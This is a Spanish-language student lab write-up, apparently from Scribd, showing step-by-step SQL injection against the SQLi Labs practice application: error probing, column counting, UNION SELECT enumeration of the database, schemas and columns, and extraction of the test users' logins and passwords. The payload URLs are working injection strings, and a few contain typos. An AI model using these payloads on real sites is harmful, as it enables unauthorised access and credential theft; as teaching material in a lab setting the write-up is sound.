0% encontró este documento útil (0 votos)
168 vistas8 páginas

SQL Injection

Este documento describe la técnica de inyección SQL y cómo puede usarse para acceder a información confidencial de una base de datos. Explica cómo aprovecharse de sitios web vulnerables insertando código SQL malicioso en campos de entrada de datos. Luego detalla los pasos para practicar inyecciones SQL en entornos de prueba, como obtener datos de tablas y concatenar información confidencial de la base de datos como nombres de usuarios y contraseñas.

Cargado por

Mario Rodríguez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
168 vistas8 páginas

SQL Injection

Este documento describe la técnica de inyección SQL y cómo puede usarse para acceder a información confidencial de una base de datos. Explica cómo aprovecharse de sitios web vulnerables insertando código SQL malicioso en campos de entrada de datos. Luego detalla los pasos para practicar inyecciones SQL en entornos de prueba, como obtener datos de tablas y concatenar información confidencial de la base de datos como nombres de usuarios y contraseñas.

Cargado por

Mario Rodríguez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 8

SQL Injection

Cuando buscamos aprovecharnos de algún sitio web mal diseñado hay miles de exploits
para poder lograrlo pero aquellos ataques en los que se utiliza SQL injection son los más
efectivos, fáciles y de mayor alcance. A este también se le denomina como inyección de
código.
Este método se puede utilizar siempre y cuando las bases de datos de los sitios utilicen
MySQL o cualquier otro sistema gestor de bases de datos que interprete órdenes en
lenguaje SQL que provienen del servidor.
Los “hackers” tienden a centrarse en sitios que depeden de scripts de PHP7.
Al realizar SQL Injection la base de datos puede ser destruida.

Proceso de SQL Injection

Ya que el conocimiento de la existencia de este tipo de ataques se podría decir que califica
como cultura general dentro del área de trabajo que compartimos los estudiantes de
Software, existen varios entornos diferentes para probar ataques como este. Entre los más
conocidos y los entornos para practicar inyecciones usados para el desarrollo de esta
investigación, se encuentran SQLi Labs y Metasploitable 2.0. SQLi Labs consiste de un
conjunto de scripts vulnerables basados en PHP7 y mysql, diseñados con el único fin de
intentar penetrarlas mediante inyecciones de SQL. Metasploitable 2 es un servidor basado
en los sistemas operativos Linux, que tiene un conjunto de aplicaciones vulnerables como la
Damn Vulnerable Web Application(DVWA) para practicar diferentes formas de penetración
de sistemas, entre ellas SQL Injections.

Para lograr profundizar nuestro conocimiento sobre las inyecciones de SQL se tomó la
decisión de configurar una máquina virtual con un sistema operativo Kali Linux donde se
descargó SQLi Labs, y otra maquina con Metasploitable 2.0 para conectarlas y efectuar
ataques de una máquina a otra. Una vez configurado el entorno de pen-testing es necesario
configurar la conexión entre SQLi Labs, la base de datos integrada en Kali Linux, y el
servidor apache2 que se debe levantar para poder usar SQLi Labs y practicar inyecciones
en un entorno cercano a la realidad.

Lo primero que se debe hacer al tener listo SQLi Labs para própositos de esta investigación
es ingresar a la lección 1, cuyo url es: localhost/sqli-labs-php7-master/less-1.
Se usa el símbolo ? en el url para efectuar un query y se le agrega el parámetro id=1
para que devuelva un resultado en caso de que el id sea igual a 1. Luego de hacer estos
cambios, el url se vería así: “localhost/sqli-labs-php7-master/less-1/?id=1”. El query que se
le hace a la base de datos con el url anterior se debería de ver como algo así:
(1.1)SELECT * FROM users WHERE id='1' LIMIT 0,1
--Esto devuelve como resultado:
(1.2)Your Login name: Dumb
Your Password: Dumb
--Estos son los valores de Login y Password de el usuario con id=1
--Si se intenta con cualquier id que este en el sistema el query devolvera los valores de los
atributos con ese id

--Se ingresa una comilla simple luego de el 1 para ver que error devuelve
(2) localhost/sqli-labs-php7-master/less-1/?id=1'
--El query que se le hace a la base de datos con el url anterior es:
(2.1)SELECT * FROM users WHERE id='1'' LIMIT 0,1
--El error que devuelve en el siguiente:
(2.2)You have an error in your SQL syntax; check the manual hat corresponds to your
MariaDB server version for the right syntax to use near "1" LIMIT 0,1' at line 1
--Como se puede notar el error esta encerrado en comillas simples lo que nos hace saber
que ese no e el numero total de comillas usadas en el query.

--Se le agrega: or 1=1'--+ esto se hace ya que 1=1 siempre es true, y el --+ elimina la
comilla simple que rompe el query
(3) localhost/sqli-labs-php7-master/less-1/?id=1' or 1=1--+
--El query que se le hace a la base de datos con el url anterior es:
(3.1)SELECT * FROM users WHERE id='1' OR 1=1 -- ' LIMIT 0,1
--Esto devuelve como resultado:
(3.2)Your Login name: Dumb
Your Password: Dumb
--Ahora sabemos que podemos manipular los queries en esta aplicacion

--Se agrega order by 1,2,3.. incrementanto de uno en uno en lugar de el "or 1=1" para
averiguar el numero de columnas en la tabla, cuando se presente un error significa que hay
una tabla menos que el numero que se encuentra luego del "ORDER BY".
(4) localhost/sqli-labs-php7-master/less-1/?id=1' ORDER BY 1--+
--El query que se le hace a la base de datos con el url anterior es:
(4.1)SELECT * FROM users WHERE id='1' ORDER BY 1 --' LIMIT 0,1
--Esto devuelve como resultado:
(4.2)Your Login name: Dumb
Your Password: Dumb
--Al llegar a 4 el sistema devuelve un error indicandonos que hay 3 columnas en la base de
datos
(4.3)localhost/sqli-labs-php7-master/less-1/?id=1' ORDER BY 4--+
--El error es presentado a continuacion:
(4.4)Unknown column '4' in 'order clause'

--Ahora se puede usar UNION SELECT para concatenar el numero de columnas en una
nueva fila
(5) localhost/sqli-labs-php7-master/less-1/?id=1' UNION SELECT 1,2,3--+
--El query que se le hace a la base de datos con el url anterior es:
(5.1)SELECT * FROM users WHERE id='1' UNION SELECT 1,2,3 -- ' LIMIT 0,1
--Esto devuelve como resultado:
(5.2)Your Login name: Dumb
Your Password: Dumb
--Esto no funciona debido a que que hay un usuario con el id=1
Al preguntar por un id que no se encuentra en la base de datos, el query usa el union select
para devolver los valores 2 y 3 en los campos de username y contrasenna.

--Usando el conocimiento adquirido con el UNION SELECT podemos cambiar el 2 por


version() para obtener la version actual de el servidor de base de datos en el campo de
Login, y tambien 3 por database() para obtener el nombre de la base de datos en el campo
de la contrasenna.
(6) localhost/sqli-labs-php7-master/less-1/?id=1' UNION SELECT 1,version(), database()--+
--El query que se le hace a la base de datos con el url anterior es:
(6.1)SELECT * FROM users WHERE id='1' UNION SELECT 1,database(),version() -- '
LIMIT 0,1
--Esto devuelve como resultado:
(6.2)Your Login name: security
Your Password: 10.3.13-MariaDB-1-log
--Usando el conocimiento adquirido con el UNION SELECT podemos cambiar el version()
por user() para obtener el nombre de el usuario de la base de datos en el campo de Login, y
tambien database() por @@datadir para obtener el directorio en el que se encuentra la BD
en el campo de la contrasenna.
(7) localhost/sqli-labs-php7-master/less-1/?id=1' UNION SELECT 1,user(), @@datadir --+
--El query que se le hace a la base de datos con el url anterior es:
(7.1)SELECT * FROM users WHERE id='1' UNION SELECT 1,user(), @@datadir -- ' LIMIT
0,1
--Esto devuelve como resultado:
(7.2)Your Login name: admin@localhost
Your Password: /var/lib/sql

--information_schema entrega informacion sobre como se acomodan los datos en una base
de datos/tabla/columna
--Invalidando el valor de el id y usando group_concat(DISTINCT table_schema
SEPARATOR ', ') para concatenar los valores de diferentes de table_schema separados por
', ' que esten en las tablas de information_schema.tables en caso de que el esquema sea
diferente a 'mysql' y 'information_schema'
(8) localhost/sqli-labs-php7-master/less-1/?id=-1' UNION SELECT * FROM users WHERE
id='-1' UNION SELECT 1, group_concat(DISTINCT table_schema SEPARATOR ', '),3
FROM information_schema.tables WHERE table_shema != 'mysql' AND table_schema !=
'information_schema' --+
--El query que se le hace a la base de datos con el url anterior es:
(8.1)SELECT * FROM users WHERE id='-1' UNION SELECT * FROM users WHERE id='-1'
UNION SELECT 1, group_concat(DISTINCT table_schema SEPARATOR ', '),3 FROM
information_schema.tables WHERE table_shema != 'mysql' AND table_schema !=
'information_schema' -- ' LIMIT 0,1
--Esto devuelve como resultado:
(8.2)Your Login name: challenges, preformance_schema, security
Your Password: 3

--Invalidando el valor de el id y usando group_concat(DISTINCT table_schema


SEPARATOR ', ') para concatenar los valores de diferentes de nombres de column
separados por ', ' que esten en la tabla de information_schema.tables igual a 'security'
(9) localhost/sqli-labs-php7-master/less-1/?id=-1' UNION SELECT * FROM users WHERE
id='-1' UNION SELECT 1, group_concat(DISTINCT column_name SEPARATOR ', '),3
FROM information_schema.columns WHERE table_shema = 'security'--+
--El query que se le hace a la base de datos con el url anterior es:
(9.1)SELECT * FROM users WHERE id='-1' UNION SELECT * FROM users WHERE id='-1'
UNION SELECT 1, group_concat(DISTINCT column_name SEPARATOR ', '),3 FROM
information_schema.columns WHERE table_shema = 'security' -- ' LIMIT 0,1
--Esto devuelve como resultado:
(9.2)Your Login name: id, email_id, referer, ip_adress, uagent, username, password
Your Password: 3
--Invalidando el valor de el id y usando group_concat(username SEPARATOR ', ') para
concatenar los usernames de la tabla users separados por ', ' y usando
group_concat(password SEPARATOR ', ') para concatenar las contrasennas de la tabla
users tambien separados por ', '
(10) localhost/sqli-labs-php7-master/less-1/?id=-1' UNION SELECT 1,
group_concat(username SEPARATOR ', '), group_concat(password SEPARATOR ', ')
FROM users --+
--El query que se le hace a la base de datos con el url anterior es:
(10.1)SELECT * FROM users WHERE id='-1' UNION SELECT 1, group_concat(username
SEPARATOR ', '), group_concat(password SEPARATOR ', ') FROM users -- ' LIMIT 0,1
--Esto devuelve como resultado:
(10.2)Your Login name: Dumb, Angelina, Dummy, secure, stupid, superman, batman,
admin, admin1, admin2, admin3, dhakkan, admin4
Your Password: Dumb, I-kill-you, p@ssword, crappy, stupidity, genious, mob!le,
admin, admin1, admin2, admin3, dumbo, admin4

También podría gustarte